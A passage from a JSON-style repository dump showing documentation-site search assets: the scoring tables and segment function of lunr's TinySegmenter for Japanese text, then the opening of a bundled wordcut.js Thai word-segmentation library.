{\",と\":660,\",同\":727,\"B1あ\":1404,\"B1同\":542,\"、と\":660,\"、同\":727,\"」と\":1682,\"あっ\":1505,\"いう\":1743,\"いっ\":-2055,\"いる\":672,\"うし\":-4817,\"うん\":665,\"から\":3472,\"がら\":600,\"こう\":-790,\"こと\":2083,\"こん\":-1262,\"さら\":-4143,\"さん\":4573,\"した\":2641,\"して\":1104,\"すで\":-3399,\"そこ\":1977,\"それ\":-871,\"たち\":1122,\"ため\":601,\"った\":3463,\"つい\":-802,\"てい\":805,\"てき\":1249,\"でき\":1127,\"です\":3445,\"では\":844,\"とい\":-4915,\"とみ\":1922,\"どこ\":3887,\"ない\":5713,\"なっ\":3015,\"など\":7379,\"なん\":-1113,\"にし\":2468,\"には\":1498,\"にも\":1671,\"に対\":-912,\"の一\":-501,\"の中\":741,\"ませ\":2448,\"まで\":1711,\"まま\":2600,\"まる\":-2155,\"やむ\":-1947,\"よっ\":-2565,\"れた\":2369,\"れで\":-913,\"をし\":1860,\"を見\":731,\"亡く\":-1886,\"京都\":2558,\"取り\":-2784,\"大き\":-2604,\"大阪\":1497,\"平方\":-2314,\"引き\":-1336,\"日本\":-195,\"本当\":-2423,\"毎日\":-2113,\"目指\":-724,\"Ｂ１あ\":1404,\"Ｂ１同\":542,\"｣と\":1682};\n          this.BW2__ = {\"..\":-11822,\"11\":-669,\"――\":-5730,\"−−\":-13175,\"いう\":-1609,\"うか\":2490,\"かし\":-1350,\"かも\":-602,\"から\":-7194,\"かれ\":4612,\"がい\":853,\"がら\":-3198,\"きた\":1941,\"くな\":-1597,\"こと\":-8392,\"この\":-4193,\"させ\":4533,\"され\":13168,\"さん\":-3977,\"しい\":-1819,\"しか\":-545,\"した\":5078,\"して\":972,\"しな\":939,\"その\":-3744,\"たい\":-1253,\"たた\":-662,\"ただ\":-3857,\"たち\":-786,\"たと\":1224,\"たは\":-939,\"った\":4589,\"って\":1647,\"っと\":-2094,\"てい\":6144,\"てき\":3640,\"てく\":2551,\"ては\":-3110,\"ても\":-3065,\"でい\":2666,\"でき\":-1528,\"でし\":-3828,\"です\":-4761,\"でも\":-4203,\"とい\":1890,\"とこ\":-1746,\"とと\":-2279,\"との\":720,\"とみ\":5168,\"とも\":-3941,\"ない\":-2488,\"なが\":-1313,\"など\":-6509,\"なの\":2614,\"なん\":3099,\"にお\":-1615,\"にし\":2748,\"にな\":2454,\"によ\":-7236,\"に対\":-14943,\"に従\":-4688,\"に関\":-11388,\"のか\":2093,\"ので\":-7059,\"のに\":-6041,\"のの\":-6125,\"はい\":1073,\"はが\":-1033,\"はず\":-2532,\"ばれ\":1813,\"まし\":-1316,\"まで\":-6621,\"まれ\":5409,\"めて\":-3153,\"もい\":2230,\"もの\":-10713,\"らか\":-944,\"らし\":-1611,\"らに\":-1897,\"りし\":651,\"りま\":1620,\"れた\":4270,\"れて\":849,\"れば\":4114,\"ろう\":6067,\"われ\":7901,\"を通\":-11877,\"んだ\":728,\"んな\":-4115,\"一人\":602,\"一方\":-1375,\"一日\":970,\"一部\":-1051,\"上が\":-4479,\"会社\":-1116,\"出て\":2163,\"分の\":-7758,\"同党\":970,\"同日\":-913,\"大阪\":-2471,\"委員\":-1250,\"少な\":-1050,\"年度\":-8669,\"年間\":-1626,\"府県\":-2363,\"手権\":-1982,\"新聞\":-4066,\"日新\":-722,\"日本\":-7068,\"日米\":3372,\"曜日\":-601,\"朝鮮\":-2355,\"本人\":-2697,\"東京\":-1543,\"然と\":-1384,\"社会\":-1276,\"立て\":-990,\"第に\":-1612,\"米国\":-4268,\"１１\":-669};\n          this.BW3__ = {\"あた\":-2194,\"あり\":719,\"ある\":3846,\"い.\":-1185,\"い。\":-1185,\"いい\":5308,\"いえ\":2079,\"いく\":3029,\"いた\":2056,\"いっ\":1883,\"いる\":5600,\"いわ\":1527,\"うち\":1117,\"うと\":4798,\"えと\":1454,\"か.\":2857,\"か。\":2857,\"かけ\":-743,\"かっ\":-4098,\"かに\":-669,\"から\":6520,\"かり\":-2670,\"が,\":1816,\"が、\":1816,\"がき\":-4855,\"がけ\":-1127,\"がっ\":-913,\"がら\":-4977,\"がり\":-2064,\"きた\":1645,\"けど\":1374,\"こと\":7397,\"この\":1542,\"ころ\":-2757,\"さい\":-714,\"さを\":976,\"し,\":1557,\"し、\":1557,\"しい\":-3714,\"した\":3562,\"して\":1449,\"しな\":2608,\"しま\":1200,\"す.\":-1310,\"す。\":-1310,\"する\":6521,\"ず,\":3426,\"ず、\":3426,\"ずに\":841,\"そう\":428,\"た.\":8875,\"た。\":8875,\"たい\":-594,\"たの\":812,\"たり\":-1183,\"たる\":-853,\"だ.\":4098,\"だ。\":4098,\"だっ\":1004,\"った\":-4748,\"って\":300,\"てい\":6240,\"てお\":855,\"ても\":302,\"です\":1437,\"でに\":-1482,\"では\":2295,\"とう\":-1387,\"とし\":2266,\"との\":541,\"とも\":-3543,\"どう\":4664,\"ない\":1796,\"なく\":-903,\"など\":2135,\"に,\":-1021,\"に、\":-1021,\"にし\":1771,\"にな\":1906,\"には\":2644,\"の,\":-724,\"の、\":-724,\"の子\":-1000,\"は,\":1337,\"は、\":1337,\"べき\":2181,\"まし\":1113,\"ます\":6943,\"まっ\":-1549,\"まで\":6154,\"まれ\":-793,\"らし\":1479,\"られ\":6820,\"るる\":3818,\"れ,\":854,\"れ、\":854,\"れた\":1850,\"れて\":1375,\"れば\":-3246,\"れる\":1091,\"われ\":-605,\"んだ\":606,\"んで\":798,\"カ月\":990,\"会議\":860,\"入り\":1232,\"大会\":2217,\"始め\":1681,\"市\":965,\"新聞\":-5055,\"日,\":974,\"日、\":974,\"社会\":2024,\"ｶ月\":990};\n          this.TC1__ = {\"AAA\":1093,\"HHH\":1029,\"HHM\":580,\"HII\":998,\"HOH\":-390,\"HOM\":-331,\"IHI\":1169,\"IOH\":-142,\"IOI\":-1015,\"IOM\":467,\"MMH\":187,\"OOI\":-1832};\n          this.TC2__ = {\"HHO\":2088,\"HII\":-1023,\"HMM\":-1154,\"IHI\":-1965,\"KKH\":703,\"OII\":-2649};\n          this.TC3__ = {\"AAA\":-294,\"HHH\":346,\"HHI\":-341,\"HII\":-1088,\"HIK\":731,\"HOH\":-1486,\"IHH\":128,\"IHI\":-3041,\"IHO\":-1935,\"IIH\":-825,\"IIM\":-1035,\"IOI\":-542,\"KHH\":-1216,\"KKA\":491,\"KKH\":-1217,\"KOK\":-1009,\"MHH\":-2694,\"MHM\":-457,\"MHO\":123,\"MMH\":-471,\"NNH\":-1689,\"NNO\":662,\"OHO\":-3393};\n          this.TC4__ = {\"HHH\":-203,\"HHI\":1344,\"HHK\":365,\"HHM\":-122,\"HHN\":182,\"HHO\":669,\"HIH\":804,\"HII\":679,\"HOH\":446,\"IHH\":695,\"IHO\":-2324,\"IIH\":321,\"III\":1497,\"IIO\":656,\"IOO\":54,\"KAK\":4845,\"KKA\":3386,\"KKK\":3065,\"MHH\":-405,\"MHI\":201,\"MMH\":-241,\"MMM\":661,\"MOM\":841};\n          this.TQ1__ = {\"BHHH\":-227,\"BHHI\":316,\"BHIH\":-132,\"BIHH\":60,\"BIII\":1595,\"BNHH\":-744,\"BOHH\":225,\"BOOO\":-908,\"OAKK\":482,\"OHHH\":281,\"OHIH\":249,\"OIHI\":200,\"OIIH\":-68};\n          this.TQ2__ = {\"BIHH\":-1401,\"BIII\":-1033,\"BKAK\":-543,\"BOOO\":-5591};\n          this.TQ3__ = {\"BHHH\":478,\"BHHM\":-1073,\"BHIH\":222,\"BHII\":-504,\"BIIH\":-116,\"BIII\":-105,\"BMHI\":-863,\"BMHM\":-464,\"BOMH\":620,\"OHHH\":346,\"OHHI\":1729,\"OHII\":997,\"OHMH\":481,\"OIHH\":623,\"OIIH\":1344,\"OKAK\":2792,\"OKHH\":587,\"OKKA\":679,\"OOHH\":110,\"OOII\":-685};\n          this.TQ4__ = {\"BHHH\":-721,\"BHHM\":-3604,\"BHII\":-966,\"BIIH\":-607,\"BIII\":-2181,\"OAAA\":-2763,\"OAKK\":180,\"OHHH\":-294,\"OHHI\":2446,\"OHHO\":480,\"OHIH\":-1573,\"OIHH\":1935,\"OIHI\":-493,\"OIIH\":626,\"OIII\":-4007,\"OKAK\":-8156};\n          this.TW1__ = {\"につい\":-4681,\"東京都\":2026};\n          this.TW2__ = {\"ある程\":-2049,\"いった\":-1256,\"ころが\":-2434,\"しょう\":3873,\"その後\":-4430,\"だって\":-1049,\"ていた\":1833,\"として\":-4657,\"ともに\":-4517,\"もので\":1882,\"一気に\":-792,\"初めて\":-1512,\"同時に\":-8097,\"大きな\":-1255,\"対して\":-2721,\"社会党\":-3216};\n          this.TW3__ = {\"いただ\":-1734,\"してい\":1314,\"として\":-4314,\"につい\":-5483,\"にとっ\":-5989,\"に当た\":-6247,\"ので,\":-727,\"ので、\":-727,\"のもの\":-600,\"れから\":-3752,\"十二月\":-2287};\n          this.TW4__ = {\"いう.\":8576,\"いう。\":8576,\"からな\":-2348,\"してい\":2958,\"たが,\":1516,\"たが、\":1516,\"ている\":1538,\"という\":1349,\"ました\":5543,\"ません\":1097,\"ようと\":-4258,\"よると\":5865};\n          this.UC1__ = {\"A\":484,\"K\":93,\"M\":645,\"O\":-505};\n          this.UC2__ = {\"A\":819,\"H\":1059,\"I\":409,\"M\":3987,\"N\":5775,\"O\":646};\n          this.UC3__ = {\"A\":-1370,\"I\":2311};\n          this.UC4__ = {\"A\":-2643,\"H\":1809,\"I\":-1032,\"K\":-3450,\"M\":3565,\"N\":3876,\"O\":6646};\n          this.UC5__ = {\"H\":313,\"I\":-1238,\"K\":-799,\"M\":539,\"O\":-831};\n          this.UC6__ = {\"H\":-506,\"I\":-253,\"K\":87,\"M\":247,\"O\":-387};\n          this.UP1__ = {\"O\":-214};\n          this.UP2__ = {\"B\":69,\"O\":935};\n          this.UP3__ = {\"B\":189};\n          this.UQ1__ = {\"BH\":21,\"BI\":-12,\"BK\":-99,\"BN\":142,\"BO\":-56,\"OH\":-95,\"OI\":477,\"OK\":410,\"OO\":-2422};\n          this.UQ2__ = {\"BH\":216,\"BI\":113,\"OK\":1759};\n          this.UQ3__ = {\"BA\":-479,\"BH\":42,\"BI\":1913,\"BK\":-7198,\"BM\":3160,\"BN\":6427,\"BO\":14761,\"OI\":-827,\"ON\":-3212};\n          this.UW1__ = {\",\":156,\"、\":156,\"「\":-463,\"あ\":-941,\"う\":-127,\"が\":-553,\"き\":121,\"こ\":505,\"で\":-201,\"と\":-547,\"ど\":-123,\"に\":-789,\"の\":-185,\"は\":-847,\"も\":-466,\"や\":-470,\"よ\":182,\"ら\":-292,\"り\":208,\"れ\":169,\"を\":-446,\"ん\":-137,\"・\":-135,\"主\":-402,\"京\":-268,\"区\":-912,\"午\":871,\"国\":-460,\"大\":561,\"委\":729,\"市\":-411,\"日\":-141,\"理\":361,\"生\":-408,\"県\":-386,\"都\":-718,\"｢\":-463,\"･\":-135};\n          this.UW2__ = {\",\":-829,\"、\":-829,\"〇\":892,\"「\":-645,\"」\":3145,\"あ\":-538,\"い\":505,\"う\":134,\"お\":-502,\"か\":1454,\"が\":-856,\"く\":-412,\"こ\":1141,\"さ\":878,\"ざ\":540,\"し\":1529,\"す\":-675,\"せ\":300,\"そ\":-1011,\"た\":188,\"だ\":1837,\"つ\":-949,\"て\":-291,\"で\":-268,\"と\":-981,\"ど\":1273,\"な\":1063,\"に\":-1764,\"の\":130,\"は\":-409,\"ひ\":-1273,\"べ\":1261,\"ま\":600,\"も\":-1263,\"や\":-402,\"よ\":1639,\"り\":-579,\"る\":-694,\"れ\":571,\"を\":-2516,\"ん\":2095,\"ア\":-587,\"カ\":306,\"キ\":568,\"ッ\":831,\"三\":-758,\"不\":-2150,\"世\":-302,\"中\":-968,\"主\":-861,\"事\":492,\"人\":-123,\"会\":978,\"保\":362,\"入\":548,\"初\":-3025,\"副\":-1566,\"北\":-3414,\"区\":-422,\"大\":-1769,\"天\":-865,\"太\":-483,\"子\":-1519,\"学\":760,\"実\":1023,\"小\":-2009,\"市\":-813,\"年\":-1060,\"強\":1067,\"手\":-1519,\"揺\":-1033,\"政\":1522,\"文\":-1355,\"新\":-1682,\"日\":-1815,\"明\":-1462,\"最\":-630,\"朝\":-1843,\"本\":-1650,\"東\":-931,\"果\":-665,\"次\":-2378,\"民\":-180,\"気\":-1740,\"理\":752,\"発\":529,\"目\":-1584,\"相\":-242,\"県\":-1165,\"立\":-763,\"第\":810,\"米\":509,\"自\":-1353,\"行\":838,\"西\":-744,\"見\":-3874,\"調\":1010,\"議\":1198,\"込\":3041,\"開\":1758,\"間\":-1257,\"｢\":-645,\"｣\":3145,\"ｯ\":831,\"ｱ\":-587,\"ｶ\":306,\"ｷ\":568};\n          this.UW3__ = {\",\":4889,\"1\":-800,\"−\":-1723,\"、\":4889,\"々\":-2311,\"〇\":5827,\"」\":2670,\"〓\":-3573,\"あ\":-2696,\"い\":1006,\"う\":2342,\"え\":1983,\"お\":-4864,\"か\":-1163,\"が\":3271,\"く\":1004,\"け\":388,\"げ\":401,\"こ\":-3552,\"ご\":-3116,\"さ\":-1058,\"し\":-395,\"す\":584,\"せ\":3685,\"そ\":-5228,\"た\":842,\"ち\":-521,\"っ\":-1444,\"つ\":-1081,\"て\":6167,\"で\":2318,\"と\":1691,\"ど\":-899,\"な\":-2788,\"に\":2745,\"の\":4056,\"は\":4555,\"ひ\":-2171,\"ふ\":-1798,\"へ\":1199,\"ほ\":-5516,\"ま\":-4384,\"み\":-120,\"め\":1205,\"も\":2323,\"や\":-788,\"よ\":-202,\"ら\":727,\"り\":649,\"る\":5905,\"れ\":2773,\"わ\":-1207,\"を\":6620,\"ん\":-518,\"ア\":551,\"グ\":1319,\"ス\":874,\"ッ\":-1350,\"ト\":521,\"ム\":1109,\"ル\":1591,\"ロ\":2201,\"ン\":278,\"・\":-3794,\"一\":-1619,\"下\":-1759,\"世\":-2087,\"両\":3815,\"中\":653,\"主\":-758,\"予\":-1193,\"二\":974,\"人\":2742,\"今\":792,\"他\":1889,\"以\":-1368,\"低\":811,\"何\":4265,\"作\":-361,\"保\":-2439,\"元\":4858,\"党\":3593,\"全\":1574,\"公\":-3030,\"六\":755,\"共\":-1880,\"円\":5807,\"再\":3095,\"分\":457,\"初\":2475,\"別\":1129,\"前\":2286,\"副\":4437,\"力\":365,\"動\":-949,\"務\":-1872,\"化\":1327,\"北\":-1038,\"区\":4646,\"千\":-2309,\"午\":-783,\"協\":-1006,\"口\":483,\"右\":1233,\"各\":3588,\"合\":-241,\"同\":3906,\"和\":-837,\"員\":4513,\"国\":642,\"型\":1389,\"場\":1219,\"外\":-241,\"妻\":2016,\"学\":-1356,\"安\":-423,\"実\":-1008,\"家\":1078,\"小\":-513,\"少\":-3102,\"州\":1155,\"市\":3197,\"平\":-1804,\"年\":2416,\"広\":-1030,\"府\":1605,\"度\":1452,\"建\":-2352,\"当\":-3885,\"得\":1905,\"思\":-1291,\"性\":1822,\"戸\":-488,\"指\":-3973,\"政\":-2013,\"教\":-1479,\"数\":3222,\"文\":-1489,\"新\":1764,\"日\":2099,\"旧\":5792,\"昨\":-661,\"時\":-1248,\"曜\":-951,\"最\":-937,\"月\":4125,\"期\":360,\"李\":3094,\"村\":364,\"東\":-805,\"核\":5156,\"森\":2438,\"業\":484,\"氏\":2613,\"民\":-1694,\"決\":-1073,\"法\":1868,\"海\":-495,\"無\":979,\"物\":461,\"特\":-3850,\"生\":-273,\"用\":914,\"町\":1215,\"的\":7313,\"直\":-1835,\"省\":792,\"県\":6293,\"知\":-1528,\"私\":4231,\"税\":401,\"立\":-960,\"第\":1201,\"米\":7767,\"系\":3066,\"約\":3663,\"級\":1384,\"統\":-4229,\"総\":1163,\"線\":1255,\"者\":6457,\"能\":725,\"自\":-2869,\"英\":785,\"見\":1044,\"調\":-562,\"財\":-733,\"費\":1777,\"車\":1835,\"軍\":1375,\"込\":-1504,\"通\":-1136,\"選\":-681,\"郎\":1026,\"郡\":4404,\"部\":1200,\"金\":2163,\"長\":421,\"開\":-1432,\"間\":1302,\"関\":-1282,\"雨\":2009,\"電\":-1045,\"非\":2066,\"駅\":1620,\"１\":-800,\"｣\":2670,\"･\":-3794,\"ｯ\":-1350,\"ｱ\":551,\"ｸﾞ\":1319,\"ｽ\":874,\"ﾄ\":521,\"ﾑ\":1109,\"ﾙ\":1591,\"ﾛ\":2201,\"ﾝ\":278};\n          this.UW4__ = {\",\":3930,\".\":3508,\"―\":-4841,\"、\":3930,\"。\":3508,\"〇\":4999,\"「\":1895,\"」\":3798,\"〓\":-5156,\"あ\":4752,\"い\":-3435,\"う\":-640,\"え\":-2514,\"お\":2405,\"か\":530,\"が\":6006,\"き\":-4482,\"ぎ\":-3821,\"く\":-3788,\"け\":-4376,\"げ\":-4734,\"こ\":2255,\"ご\":1979,\"さ\":2864,\"し\":-843,\"じ\":-2506,\"す\":-731,\"ず\":1251,\"せ\":181,\"そ\":4091,\"た\":5034,\"だ\":5408,\"ち\":-3654,\"っ\":-5882,\"つ\":-1659,\"て\":3994,\"で\":7410,\"と\":4547,\"な\":5433,\"に\":6499,\"ぬ\":1853,\"ね\":1413,\"の\":7396,\"は\":8578,\"ば\":1940,\"ひ\":4249,\"び\":-4134,\"ふ\":1345,\"へ\":6665,\"べ\":-744,\"ほ\":1464,\"ま\":1051,\"み\":-2082,\"む\":-882,\"め\":-5046,\"も\":4169,\"ゃ\":-2666,\"や\":2795,\"ょ\":-1544,\"よ\":3351,\"ら\":-2922,\"り\":-9726,\"る\":-14896,\"れ\":-2613,\"ろ\":-4570,\"わ\":-1783,\"を\":13150,\"ん\":-2352,\"カ\":2145,\"コ\":1789,\"セ\":1287,\"ッ\":-724,\"ト\":-403,\"メ\":-1635,\"ラ\":-881,\"リ\":-541,\"ル\":-856,\"ン\":-3637,\"・\":-4371,\"ー\":-11870,\"一\":-2069,\"中\":2210,\"予\":782,\"事\":-190,\"井\":-1768,\"人\":1036,\"以\":544,\"会\":950,\"体\":-1286,\"作\":530,\"側\":4292,\"先\":601,\"党\":-2006,\"共\":-1212,\"内\":584,\"円\":788,\"初\":1347,\"前\":1623,\"副\":3879,\"力\":-302,\"動\":-740,\"務\":-2715,\"化\":776,\"区\":4517,\"協\":1013,\"参\":1555,\"合\":-1834,\"和\":-681,\"員\":-910,\"器\":-851,\"回\":1500,\"国\":-619,\"園\":-1200,\"地\":866,\"場\":-1410,\"塁\":-2094,\"士\":-1413,\"多\":1067,\"大\":571,\"子\":-4802,\"学\":-1397,\"定\":-1057,\"寺\":-809,\"小\":1910,\"屋\":-1328,\"山\":-1500,\"島\":-2056,\"川\":-2667,\"市\":2771,\"年\":374,\"庁\":-4556,\"後\":456,\"性\":553,\"感\":916,\"所\":-1566,\"支\":856,\"改\":787,\"政\":2182,\"教\":704,\"文\":522,\"方\":-856,\"日\":1798,\"時\":1829,\"最\":845,\"月\":-9066,\"木\":-485,\"来\":-442,\"校\":-360,\"業\":-1043,\"氏\":5388,\"民\":-2716,\"気\":-910,\"沢\":-939,\"済\":-543,\"物\":-735,\"率\":672,\"球\":-1267,\"生\":-1286,\"産\":-1101,\"田\":-2900,\"町\":1826,\"的\":2586,\"目\":922,\"省\":-3485,\"県\":2997,\"空\":-867,\"立\":-2112,\"第\":788,\"米\":2937,\"系\":786,\"約\":2171,\"経\":1146,\"統\":-1169,\"総\":940,\"線\":-994,\"署\":749,\"者\":2145,\"能\":-730,\"般\":-852,\"行\":-792,\"規\":792,\"警\":-1184,\"議\":-244,\"谷\":-1000,\"賞\":730,\"車\":-1481,\"軍\":1158,\"輪\":-1433,\"込\":-3370,\"近\":929,\"道\":-1291,\"選\":2596,\"郎\":-4866,\"都\":1192,\"野\":-1100,\"銀\":-2213,\"長\":357,\"間\":-2344,\"院\":-2297,\"際\":-2604,\"電\":-878,\"領\":-1659,\"題\":-792,\"館\":-1984,\"首\":1749,\"高\":2120,\"｢\":1895,\"｣\":3798,\"･\":-4371,\"ｯ\":-724,\"ｰ\":-11870,\"ｶ\":2145,\"ｺ\":1789,\"ｾ\":1287,\"ﾄ\":-403,\"ﾒ\":-1635,\"ﾗ\":-881,\"ﾘ\":-541,\"ﾙ\":-856,\"ﾝ\":-3637};\n          this.UW5__ = {\",\":465,\".\":-299,\"1\":-514,\"E2\":-32768,\"]\":-2762,\"、\":465,\"。\":-299,\"「\":363,\"あ\":1655,\"い\":331,\"う\":-503,\"え\":1199,\"お\":527,\"か\":647,\"が\":-421,\"き\":1624,\"ぎ\":1971,\"く\":312,\"げ\":-983,\"さ\":-1537,\"し\":-1371,\"す\":-852,\"だ\":-1186,\"ち\":1093,\"っ\":52,\"つ\":921,\"て\":-18,\"で\":-850,\"と\":-127,\"ど\":1682,\"な\":-787,\"に\":-1224,\"の\":-635,\"は\":-578,\"べ\":1001,\"み\":502,\"め\":865,\"ゃ\":3350,\"ょ\":854,\"り\":-208,\"る\":429,\"れ\":504,\"わ\":419,\"を\":-1264,\"ん\":327,\"イ\":241,\"ル\":451,\"ン\":-343,\"中\":-871,\"京\":722,\"会\":-1153,\"党\":-654,\"務\":3519,\"区\":-901,\"告\":848,\"員\":2104,\"大\":-1296,\"学\":-548,\"定\":1785,\"嵐\":-1304,\"市\":-2991,\"席\":921,\"年\":1763,\"思\":872,\"所\":-814,\"挙\":1618,\"新\":-1682,\"日\":218,\"月\":-4353,\"査\":932,\"格\":1356,\"機\":-1508,\"氏\":-1347,\"田\":240,\"町\":-3912,\"的\":-3149,\"相\":1319,\"省\":-1052,\"県\":-4003,\"研\":-997,\"社\":-278,\"空\":-813,\"統\":1955,\"者\":-2233,\"表\":663,\"語\":-1073,\"議\":1219,\"選\":-1018,\"郎\":-368,\"長\":786,\"間\":1191,\"題\":2368,\"館\":-689,\"１\":-514,\"Ｅ２\":-32768,\"｢\":363,\"ｲ\":241,\"ﾙ\":451,\"ﾝ\":-343};\n          this.UW6__ = {\",\":227,\".\":808,\"1\":-270,\"E1\":306,\"、\":227,\"。\":808,\"あ\":-307,\"う\":189,\"か\":241,\"が\":-73,\"く\":-121,\"こ\":-200,\"じ\":1782,\"す\":383,\"た\":-428,\"っ\":573,\"て\":-1014,\"で\":101,\"と\":-105,\"な\":-253,\"に\":-149,\"の\":-417,\"は\":-236,\"も\":-206,\"り\":187,\"る\":-135,\"を\":195,\"ル\":-673,\"ン\":-496,\"一\":-277,\"中\":201,\"件\":-800,\"会\":624,\"前\":302,\"区\":1792,\"員\":-1212,\"委\":798,\"学\":-960,\"市\":887,\"広\":-695,\"後\":535,\"業\":-697,\"相\":753,\"社\":-507,\"福\":974,\"空\":-822,\"者\":1811,\"連\":463,\"郎\":1082,\"１\":-270,\"Ｅ１\":306,\"ﾙ\":-673,\"ﾝ\":-496};\n          \n          return this;\n        }\n        TinySegmenter.prototype.ctype_ = function(str) {\n          for (var i in this.chartype_) {\n            if (str.match(this.chartype_[i][0])) {\n              return this.chartype_[i][1];\n            }\n          }\n          return \"O\";\n        }\n\n        TinySegmenter.prototype.ts_ = function(v) {\n          if (v) { return v; }\n          return 0;\n        }\n\n        TinySegmenter.prototype.segment = function(input) {\n          if (input == null || input == undefined || input == \"\") {\n            return [];\n          }\n          var result = [];\n          var seg = [\"B3\",\"B2\",\"B1\"];\n          var ctype = [\"O\",\"O\",\"O\"];\n          var o = input.split(\"\");\n          for (i = 0; i < o.length; ++i) {\n            seg.push(o[i]);\n            ctype.push(this.ctype_(o[i]))\n          }\n          seg.push(\"E1\");\n          seg.push(\"E2\");\n          seg.push(\"E3\");\n          ctype.push(\"O\");\n          ctype.push(\"O\");\n          ctype.push(\"O\");\n          var word = seg[3];\n          var p1 = \"U\";\n          var p2 = \"U\";\n          var p3 = \"U\";\n          for (var i = 4; i < seg.length - 3; ++i) {\n            var score = this.BIAS__;\n            var w1 = seg[i-3];\n            var w2 = seg[i-2];\n            var w3 = seg[i-1];\n            var w4 = seg[i];\n            var w5 = seg[i+1];\n            var w6 = seg[i+2];\n            var c1 = ctype[i-3];\n            var c2 = ctype[i-2];\n            var c3 = ctype[i-1];\n            var c4 = ctype[i];\n            var c5 = ctype[i+1];\n            var c6 = ctype[i+2];\n            score += this.ts_(this.UP1__[p1]);\n            score += this.ts_(this.UP2__[p2]);\n            score += this.ts_(this.UP3__[p3]);\n            score += this.ts_(this.BP1__[p1 + p2]);\n            score += this.ts_(this.BP2__[p2 + p3]);\n            score += this.ts_(this.UW1__[w1]);\n            score += this.ts_(this.UW2__[w2]);\n            score += this.ts_(this.UW3__[w3]);\n            score += this.ts_(this.UW4__[w4]);\n            score += this.ts_(this.UW5__[w5]);\n            score += this.ts_(this.UW6__[w6]);\n            score += this.ts_(this.BW1__[w2 + w3]);\n            score += this.ts_(this.BW2__[w3 + w4]);\n            score += this.ts_(this.BW3__[w4 + w5]);\n            score += this.ts_(this.TW1__[w1 + w2 + w3]);\n            score += this.ts_(this.TW2__[w2 + w3 + w4]);\n            score += this.ts_(this.TW3__[w3 + w4 + w5]);\n            score += this.ts_(this.TW4__[w4 + w5 + w6]);\n            score += this.ts_(this.UC1__[c1]);\n            score += this.ts_(this.UC2__[c2]);\n            score += this.ts_(this.UC3__[c3]);\n            score += this.ts_(this.UC4__[c4]);\n            score += this.ts_(this.UC5__[c5]);\n            score += this.ts_(this.UC6__[c6]);\n            score += this.ts_(this.BC1__[c2 + c3]);\n            score += this.ts_(this.BC2__[c3 + c4]);\n            score += this.ts_(this.BC3__[c4 + c5]);\n            score += this.ts_(this.TC1__[c1 + c2 + c3]);\n            score += this.ts_(this.TC2__[c2 + c3 + c4]);\n            score += this.ts_(this.TC3__[c3 + c4 + c5]);\n            score += this.ts_(this.TC4__[c4 + c5 + c6]);\n        //  score += this.ts_(this.TC5__[c4 + c5 + c6]);    \n            score += this.ts_(this.UQ1__[p1 + c1]);\n            score += this.ts_(this.UQ2__[p2 + c2]);\n            score += this.ts_(this.UQ3__[p3 + c3]);\n            score += this.ts_(this.BQ1__[p2 + c2 + c3]);\n            score += this.ts_(this.BQ2__[p2 + c3 + c4]);\n            score += this.ts_(this.BQ3__[p3 + c2 + c3]);\n            score += this.ts_(this.BQ4__[p3 + c3 + c4]);\n            score += this.ts_(this.TQ1__[p2 + c1 + c2 + c3]);\n            score += this.ts_(this.TQ2__[p2 + c2 + c3 + c4]);\n            score += this.ts_(this.TQ3__[p3 + c1 + c2 + c3]);\n            score += this.ts_(this.TQ4__[p3 + c2 + c3 + c4]);\n            var p = \"O\";\n            if (score > 0) {\n              result.push(word);\n              word = \"\";\n              p = \"B\";\n            }\n            p1 = p2;\n            p2 = p3;\n            p3 = p;\n            word += seg[i];\n          }\n          result.push(word);\n\n          return result;\n        }\n\n        lunr.TinySegmenter = TinySegmenter;\n    };\n\n}));"
  },
  {
    "path": "docs/assets/javascripts/lunr/wordcut.js",
    "content": "(function(f){if(typeof exports===\"object\"&&typeof module!==\"undefined\"){module.exports=f()}else if(typeof define===\"function\"&&define.amd){define([],f)}else{var g;if(typeof window!==\"undefined\"){g=window}else if(typeof global!==\"undefined\"){g=global}else if(typeof self!==\"undefined\"){g=self}else{g=this}(g.lunr || (g.lunr = {})).wordcut = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(\"Cannot find module '\"+o+\"'\");throw f.code=\"MODULE_NOT_FOUND\",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){\nvar _ = require(\"underscore\");\n\nvar Acceptors = {\n  creators: null,\n  current: null,\n  tag: null,\n\n  init: function() {\n    this.creators = [];\n    this.current = [];\n    this.tag = {};\n  },\n\n  reset: function() {\n    this.current = [];\n    this.tag = {}\n  },\n\n  transit: function(ch) {\n    var self = this;\n\n    self.creators.forEach(function(creator) {\n      var acceptor = creator.createAcceptor(self.tag);\n      if (acceptor) \n        self.current.push(acceptor);\n    });\n    \n    var _current = [];\n    self.tag = {};\n\n    for (var i = 0; i < self.current.length; i++) {\n      var _acceptor = self.current[i]\n        , acceptor = _acceptor.transit(ch);\n      \n      if (!acceptor.isError) {\n        _current.push(acceptor);\n        self.tag[acceptor.tag] = acceptor;\n      }\n    }\n    self.current = _current;\n\n  },\n\n  getFinalAcceptors: function() {    \n    return this.current.filter(function(acceptor) {\n      return acceptor.isFinal;\n    });\n  }\n};\n\nmodule.exports = function() {\n  var acceptors = _.clone(Acceptors);\n  acceptors.init();\n  return acceptors;\n};\n\n},{\"underscore\":25}],2:[function(require,module,exports){\n(function (__dirname){\n\nvar LEFT = 0;\nvar RIGHT = 1;\nvar path = require(\"path\");\nvar glob = require(\"glob\");\n\nvar WordcutDict = {\n\n\n  init: function (dictPathFile, withDefault, words) {\n    withDefault = withDefault || false\n    defaultDict = path.normalize(__dirname + \"/..\") + \"/data/tdict-*.txt\";\n    this.dict=[]\n    var dictPathIsDefined = dictPathFile !== undefined\n    var dictPath = (withDefault || !dictPathIsDefined) ? [defaultDict]: [];\n    var dictPathFile = dictPathFile || defaultDict\n\n    if(dictPathIsDefined){\n      if (Array.isArray(dictPathFile)) {\n        dictPath.concat.apply(dictPath, dictPathFile);\n      } else {\n        dictPath.push(dictPathFile)\n      }\n    }\n\n    this.addFiles(dictPath, false)\n\n    if(words!==undefined){\n      this.addWords(words, false)\n    }\n    this.finalizeDict();\n  },\n\n  addWords: function(words, finalize){\n    finalize = finalize===undefined || finalize;\n    this.dict.push.apply(this.dict, words)\n    if(finalize){\n      